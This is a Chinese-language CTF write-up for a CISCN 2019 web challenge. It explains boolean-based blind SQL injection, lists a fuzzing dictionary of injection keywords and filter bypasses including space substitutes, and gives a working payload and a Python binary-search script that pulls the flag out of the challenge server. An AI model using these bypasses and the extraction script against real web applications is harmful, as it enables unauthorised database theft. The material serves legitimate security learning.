很遗憾的是,我在做这题时没有什么头绪。用 sqlmap 开最高等级也只扫出来库名,表名和列名扫不出来,就算直接指定表名和列名,还是扫不出来,sqlmap 测出来的方法是时间盲注。
推荐博客: ciscn2019华北赛区半决赛day2_web1题解
题目页面:
首先我的感悟是布尔盲注不一定需要明确的看到 0 或 1,true 或 false,只要有两种不同的回显状态就可以拿来利用了。
比如这道题:
输入 1 ,返回:Hello, glzjin wants a girlfriend.
输入 2 ,返回:Do you want to be my girlfriend?
输入其他数字,返回:Error Occured When Fetch Result.
被过滤的状态:SQL Injection Checked.
其他状态:bool(false)
那么就可以选取其中两种状态作为输入,根据返回结果来判断语句是否执行成功。
测试的时候像这样把被测试的符号放在中间,可以测的更准确一点:
收集一些 SQL 注入要用到的字符,组成一个字典:
^
&
&&
|
||
and
And
anandd
AnanDd
or
Or
oorr
union
uNIon
ununionion
UnunionIOn
substr
length
ascii
=
>
/**/
(
)
<
select
selselect
SeleCT
updatexml
extractvalue
floor
limit
select
selselectect
concat
group
by
order
information_schema
tables
where
left
right
regexp
%20
%09
%0A
%0C
%0D
%0B
%A0
fuzz 完以后,发现空格是被过滤了,select 之类还能继续用:
以下可以代替空格:
%20
%09
%0A(%0a)
%0C(%0c)
%0D(%0d)
%0B(%ob)
%A0(%a0)
/**/
Tab 键
此外还可以用括号代替空格,比如用:
select(flag)from(flag)
代替:
select flag from flag
可以构造像这样的 payload :
if(ascii(substr((select(flag)from(flag)),1,1))>ascii('f'),1,2)
若结果为 true ,则返回 1 ,那么如若返回结果为:
Hello, glzjin wants a girlfriend.
说明 if 语句执行的结果是 1 ,说明比较结果为 true 。
反之,若返回结果为:
Do you want to be my girlfriend?
说明 if 语句执行的结果是 2 ,说明比较结果为 false 。
以此来确定 flag 的每一个字符。
根据推荐的文章来看,可以使用二分法来确定 flag 的每一个字符,比起一个一个匹配,这样效率会更高,于是编写如下脚本(出自推荐文章):
import requests
url = 'http://node4.anna.nssctf.cn:28408/index.php'
data = {"id":""}
flag = ''
i = 1
while True:
#从可打印字符开始
begin = 32
end = 126
tmp = (begin+end)//2
while begin<end:
data["id"] = "if(ascii(substr((select(flag)from(flag)),{},1))>{},1,2)".format(i,tmp)
r = requests.post(url,data=data)
if 'Hello' in r.text:
begin = tmp+1
tmp = (begin+end)//2
else:
end = tmp
tmp = (begin+end)//2
flag+=chr(tmp)
print(flag)
i+=1
if flag[-1]=='}':
break
其中 ASCII 码值 32-126 涵盖了所有可见字符。
执行结果:
拿到 flag 。